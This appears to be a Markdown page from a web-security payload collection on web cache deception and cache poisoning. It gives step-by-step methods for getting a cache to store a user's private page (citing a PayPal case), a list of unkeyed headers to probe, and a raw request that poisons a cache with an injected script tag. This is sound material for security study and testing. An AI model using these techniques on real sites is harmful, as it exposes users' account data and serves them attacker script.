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61 lines
3 KiB
Markdown
61 lines
3 KiB
Markdown
# Web Cache Deception Attack
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## Tools
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* [Param Miner - PortSwigger](https://github.com/PortSwigger/param-miner)
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> This extension identifies hidden, unlinked parameters. It's particularly useful for finding web cache poisoning vulnerabilities.
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## Exploit
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1. Browser requests `http://www.example.com/home.php/non-existent.css`.
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2. Server returns the content of `http://www.example.com/home.php`, most probably with HTTP caching headers that instruct to not cache this page.
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3. The response goes through the proxy.
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4. The proxy identifies that the file has a css extension.
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5. Under the cache directory, the proxy creates a directory named home.php, and caches the imposter "CSS" file (non-existent.css) inside.
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## Methodology of the attack - example
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1. Normal browsing, visit home : `https://www.example.com/myaccount/home/`
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2. Open the malicious link : `https://www.example.com/myaccount/home/malicious.css`
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3. The page is displayed as /home and the cache is saving the page
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4. Open a private tab with the previous URL : `https://www.paypal.com/myaccount/home/malicous.css`
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5. The content of the cache is displayed
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Video of the attack by Omer Gil - Web Cache Deception Attack in PayPal Home Page
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[](https://vimeo.com/249130093)
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## Methodology 2
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1. Find an unkeyed input for a Cache Poisoning
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```js
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Values: User-Agent
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Values: Cookie
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Header: X-Forwarded-Host
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Header: X-Host
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Header: X-Forwarded-Server
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Header: X-Forwarded-Scheme (header; also in combination with X-Forwarded-Host)
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Header: X-Original-URL (Symfony)
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Header: X-Rewrite-URL (Symfony)
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```
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2. Cache poisoning attack - Example for `X-Forwarded-Host` unkeyed input (remember to use a buster to only cache this webpage instead of the main page of the website)
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```js
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GET /test?buster=123 HTTP/1.1
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Host: target.com
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X-Forwarded-Host: test"><script>alert(1)</script>
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HTTP/1.1 200 OK
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Cache-Control: public, no-cache
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[..]
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<meta property="og:image" content="https://test"><script>alert(1)</script>">
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```
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## References
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* [Web Cache Deception Attack - Omer Gil](http://omergil.blogspot.fr/2017/02/web-cache-deception-attack.html)
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* [Practical Web Cache Poisoning - James Kettle @albinowax](https://portswigger.net/blog/practical-web-cache-poisoning)
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* [Web Cache Entanglement: Novel Pathways to Poisoning - James Kettle @albinowax](https://portswigger.net/research/web-cache-entanglement)
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* [Web Cache Deception Attack leads to user info disclosure - Kunal pandey - Feb 25](https://medium.com/@kunal94/web-cache-deception-attack-leads-to-user-info-disclosure-805318f7bb29)
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* [Web cache poisoning - Web Security Academy learning materials](https://portswigger.net/web-security/web-cache-poisoning)
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- [Exploiting cache design flaws](https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws)
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- [Exploiting cache implementation flaws](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws)
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